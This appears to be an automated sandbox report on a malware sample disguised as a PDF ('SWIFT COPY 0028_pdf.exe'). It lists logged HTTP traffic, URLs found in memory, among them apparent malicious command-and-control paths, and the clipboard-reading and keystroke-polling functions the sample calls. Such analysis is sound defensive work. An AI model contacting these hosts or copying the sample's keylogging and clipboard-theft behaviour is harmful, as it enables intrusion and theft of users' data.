2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 68 65 69 67 68 74 3d 22 33 32 38 2e 34 35 31 38 34 22 0a 20 20 20 20 20 77 69 64 74 68 3d 22 35 34 31 2e 31 37 32 30 36 22 0a 20 20 20 20 20 69 64 3d 22 73 76 67 32 22 0a 20 20 20 20 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 64 61 74 61 0a 20 20 20 20 20 20 20 69 64 3d 22 6d 65 74 61 64 61 74 61 38 22 3e 0a 20 20 20 20 3c 2f 6d 65 74 61 64 61 74 61 3e 0a 20 20 20 20 3c 64 65 66 73 0a 20 20 20 20 20 20 20 69 64 3d 22 64 65 66 73 36 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 74 65 72 6e 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 0a 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 2e 35 22 0a 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 70 61 74 74 65 72 6e 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 30 2c 30 29 20 73 63 61 6c 65 28 31 30 2c 31 30 29 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 53 74 72 69 70 73 32 5f 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 72 65 63 74 0a 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 66 69 6c 6c 3a 62 6c 61 63 6b 3b 73 74 72 6f 6b 65 3a 6e 6f 6e 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 78 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 79 3d 22 2d 30 2e 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3d 22 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 35 34 31 39 22 20 2f 3e 0a 20 20 20 20 20 20 3c 2f 70 61 74 74 65 72 6e 3e 0a 20 20 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 0a 20 20 20 20 20 20 20 20 20 6f 73 62 3a 70 61 69 6e 74 3d 22 73 6f 6c 69 64 22 0a 20 20 20 20 20 20 20 20 20 69 64 3d 22 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 36
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TuserDate: Wed, 20 Nov 2024 07:33:54 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TuserDate: Wed, 20 Nov 2024 07:33:57 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TuserDate: Wed, 20 Nov 2024 07:33:59 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TuserDate: Wed, 20 Nov 2024 07:34:02 GMTContent-Type: text/html; charset=utf-8Content-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 07:35:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Wed, 20 Nov 2024 07:35:14 GMTVary: Accept-EncodingCF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 8e56c31b9a5572ad-EWRContent-Encoding: gzipserver-timing: cfL4;desc="?proto=TCP&rtt=1873&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=828&delivery_rate=0&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.bh0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 07:35:17 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Wed, 20 Nov 2024 07:35:17 GMTVary: Accept-EncodingCF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 8e56c32b7e48c337-EWRContent-Encoding: gzipserver-timing: cfL4;desc="?proto=TCP&rtt=1452&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=852&delivery_rate=0&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6f\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.bh0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 07:35:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Wed, 20 Nov 2024 07:35:19 GMTVary: Accept-EncodingCF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 8e56c33b6aa5c439-EWRContent-Encoding: gzipserver-timing: cfL4;desc="?proto=TCP&rtt=1499&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1865&delivery_rate=0&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 03 5c ce 41 0a 80 30 10 03 c0 7b 5f e1 0b 5c 2b 3d 86 3d 7a f4 0f 6a 8b 2b 68 0b 65 05 fd bd a0 05 c5 6b 32 84 40 74 5b d9 40 c2 e0 19 ba e8 1a d8 35 ae ea 93 56 5d da a3 07 3d 21 e8 26 06 63 f2 27 1b 4c 21 6a c8 0c b1 7f 2f 96 41 a5 36 90 fc e2 38 2f f1 20 5b b7 ae 6e 3e 84 ca 24 dd 5f 2e 00 00 00 ff ff 0d 0a 62 0d 0a e3 02 00 68 e7 b5 eb 93 00 00 00 0d 0a Data Ascii: 6f\A0{_\+==zj+hek2@t[@5V]=!&c'L!j/A68/ [n>$_.bh
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Nov 2024 07:35:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeCache-Control: no-cache, no-store, must-revalidateExpires: Wed, 20 Nov 2024 07:35:22 GMTVary: Accept-EncodingCF-Cache-Status: DYNAMICServer: cloudflareCF-RAY: 8e56c34b793d7291-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1809&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=560&delivery_rate=0&cwnd=216&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 39 33 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 0a 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 93<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0</center></body></html>0

Source: rasautou.exe, 00000004.00000002.4614264307.0000000005B08000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000003928000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://assets.lolipop.jp/img/bnr/bnr_lolipop_ad_001.gif
Source: rasautou.exe, 00000004.00000002.4614264307.00000000062E2000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000004102000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer
Source: rasautou.exe, 00000004.00000002.4614264307.0000000005B08000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000003928000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://js.ad-stir.com/js/adstir.js?20130527
Source: nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.00000000045B8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.madhf.tech/vpqb/?GR54yHZ8=idKeckLAh2QIGB9KZJIRJS/oZMGdTwW1FjmI9FLM0wQU5zssjU3Tb8uAKfYmb7P
Source: nBMWUKLuWlMJko.exe, 00000006.00000002.4613324935.0000000002DD6000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.nonpressure.beauty
Source: nBMWUKLuWlMJko.exe, 00000006.00000002.4613324935.0000000002DD6000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.nonpressure.beauty/ymqd/
Source: rasautou.exe, 00000004.00000002.4616647777.0000000007E7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: rasautou.exe, 00000004.00000002.4616647777.0000000007E7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: rasautou.exe, 00000004.00000002.4614264307.0000000006474000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000004294000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css
Source: rasautou.exe, 00000004.00000002.4616647777.0000000007E7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: rasautou.exe, 00000004.00000002.4616647777.0000000007E7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: rasautou.exe, 00000004.00000002.4616647777.0000000007E7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: rasautou.exe, 00000004.00000002.4616647777.0000000007E7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: rasautou.exe, 00000004.00000002.4616647777.0000000007E7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: rasautou.exe, 00000004.00000002.4614264307.0000000006C4E000.00000004.10000000.00040000.00000000.sdmp, rasautou.exe, 00000004.00000002.4616494626.0000000007B20000.00000004.00000800.00020000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000004A6E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://kb.fastpanel.direct/troubleshoot/
Source: rasautou.exe, 00000004.00000002.4606460151.00000000031B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: rasautou.exe, 00000004.00000002.4606460151.0000000003191000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: rasautou.exe, 00000004.00000003.2510041417.0000000007E5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: rasautou.exe, 00000004.00000002.4606460151.00000000031B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: rasautou.exe, 00000004.00000002.4606460151.0000000003191000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033YEf
Source: rasautou.exe, 00000004.00000002.4606460151.00000000031B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: rasautou.exe, 00000004.00000002.4606460151.0000000003191000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: rasautou.exe, 00000004.00000002.4614264307.0000000005B08000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000003928000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lolipop.jp/
Source: rasautou.exe, 00000004.00000002.4614264307.0000000005B08000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000003928000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://minne.com/?utm_source=lolipop&utm_medium=banner&utm_campaign=synergy&utm_content=404
Source: rasautou.exe, 00000004.00000002.4614264307.0000000005B08000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000003928000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://pepabo.com/
Source: rasautou.exe, 00000004.00000002.4614264307.0000000005B08000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000003928000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://static.minne.com/files/banner/minne_600x500
Source: rasautou.exe, 00000004.00000002.4614264307.0000000005B08000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000003928000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://support.lolipop.jp/hc/ja/articles/360049132953
Source: rasautou.exe, 00000004.00000002.4616647777.0000000007E7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: rasautou.exe, 00000004.00000002.4614264307.0000000005976000.00000004.10000000.00040000.00000000.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4613915589.0000000003796000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.grandesofertas.fun/5rfk/?GR54yHZ8=sD5zUlt3wbrvSr53X/LgfhW

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_00976B0C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00976B0C

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_00976D07 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00976D07

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

0_2_00976B0C

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_00962B37 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00962B37

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

